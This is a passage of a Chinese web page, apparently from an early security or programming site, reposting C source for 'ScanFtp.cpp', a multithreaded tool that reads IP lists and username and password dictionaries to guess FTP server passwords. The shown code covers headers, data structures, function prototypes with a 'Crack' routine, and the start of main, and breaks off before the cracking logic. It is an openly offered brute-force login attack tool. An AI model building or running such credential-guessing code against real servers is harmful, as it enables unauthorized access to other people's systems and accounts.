|
| |
精品推荐 |
 |
|
| |
|
|
|
|
猜测ftp服务器密码代码
|
日期:2008年6月1日 作者: 查看:[大字体
中字体 小字体]
|
////////////////////////////////////////////////////////// //文件:ScanFtp.cpp //描述:从指定文件读入IP地址和帐号密码,猜测ftp服务器密码 //作者:云舒(http://www.icylife.net) //日期:2005年2月18日 0.1.0版本 //修改 2005年2月22日 0.1.1版本 //修改 2005年2月24日 0.1.2版本 //////////////////////////////////////////////////////////
#include <stdio.h> #include <winsock2.h> #include <windows.h>
#pragma comment(lib,"ws2_32.lib")
#define PORT 21 #define VERSION 0.1.2 #define LEN sizeof(struct FILEDATA)
///////////////////////////////////////////////////////// //定义全局变量 /////////////////////////////////////////////////////////
struct FILEDATA//存放帐号和密码的链表结构体 { char dataLine[64]; struct FILEDATA *next; };
struct SCANPAR//传递给Scan函数的参数结构体 { struct FILEDATA *userHead;//帐号链表的头地址 struct FILEDATA *passHead;//密码链表的头地址 char ipNow[16];//要扫描的扫描的IP };
int currentThread = 0;//当前活动线程 int maxThread = 0;//最大线程数量 char ipFile[48] = { 0 };//IP列表文件名 char *passFlag = "230"; char *userFlag = "331";
///////////////////////////////////////////////////////// //定义函数原形 /////////////////////////////////////////////////////////
void GetPar(int , char **);//检查命令行参数 void Help(char *);//输出帮助函数 void WatchThread(void);//检测活动线程是否达到最大 void Wait2Quit(void);//等待所有线程退出函数 int WINAPI Scan(LPVOID);//处理帐号密码字典 void Crack(char * , char * , char *);//破解密码函数 struct FILEDATA *ReadDic2Memory(char *);//将帐号字典密码字典读入内存,存入链表
////////////////////////////////////////////////////////// //主函数,程序入口 //////////////////////////////////////////////////////////
int main( int argc , char *argv[] ) { DWORD threadID = 1; HANDLE threadHandle = NULL; FILE *fpIP = NULL; WSADATA wsaData; struct SCANPAR scanPar; char fileName[48] = { 0 };
//检查并获取命令行参数 GetPar( argc , argv ); if( WSAStartup(MAKEWORD(2,2),&wsaData) != 0 ) { printf( "载入Winsock失败...\n" ); return -1; }
//打开IP列表文件 fpIP = fopen( ipFile , "r" ); if( fpIP == NULL ) { printf( "打开IP列表文件失败...\n" ); return -1; } strcpy( fileName , "ftp_user.txt" ); scanPar.userHead = ReadDic2Memory( fileName );//将帐号读入内存
memset( fileName , 0 , sizeof(fileName) );
上一篇:虚假中国银行(www.banochi.net)入侵尝试实录
下一篇:改进性能和样式的 24个 ASP 技巧
|
| 相关文章: |
|
|
|
| 相关软件: |
|
|
|
|